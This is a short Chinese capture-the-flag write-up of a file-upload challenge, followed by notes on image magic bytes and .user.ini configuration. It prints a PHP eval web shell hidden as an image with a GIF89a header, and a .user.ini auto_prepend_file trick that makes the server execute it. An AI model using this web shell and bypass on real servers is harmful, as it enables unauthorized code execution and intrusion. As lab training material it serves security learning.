涉及知识点都会在第二部分讲解
1、解题思路
这题是一个文件上传的靶场,我们先手动尝试上传文件,发现对php有检测,随后可以使用burp爆破后缀名

上传图片马发现他会检测文件内容是否有?(可以把php语句换位js形式的图片马)

上传js样式的图片马内容为如下:
<script language="pHp">@eval($_POST['CMD'])</script>
上传发现显示不是图片

所以我们在对其添加文件头进行上传发现成功了

随后我们上传htaccess发现会上传失败

那我们尝试一下.user.ini文件,内容如下
GIF89a
auto_prepend_file=shell.jpg

然后使用蚁剑连接:域名+upload/。。。/index.php,随后就可以进入和后台查看flag了

2、涉及知识点
1、//三种图片的前缀 JPG :FF D8 FF E0 00 10 4A 46 49 46(16进制编码) GIF:47 49 46 38 39 61(ascll值是GIF89a) PNG: 89 50 4E 47
2、user.ini和.htaccess一样是目录的配置文件。这里我们可以把.user.ini看作是用户自定义的一个php.ini,需要访问该目录下的任意php文件时才会触发
3、.user.ini比.htaccess用的更广,不管是nginx/apache/IIS,只要是以CGI/FastCGI模式运行的php都可以用这个方法。
4、/*这是.user.ini的两个配置
auto_prepend_file是在文件前插入
auto_append_file是在文件最后才插入*/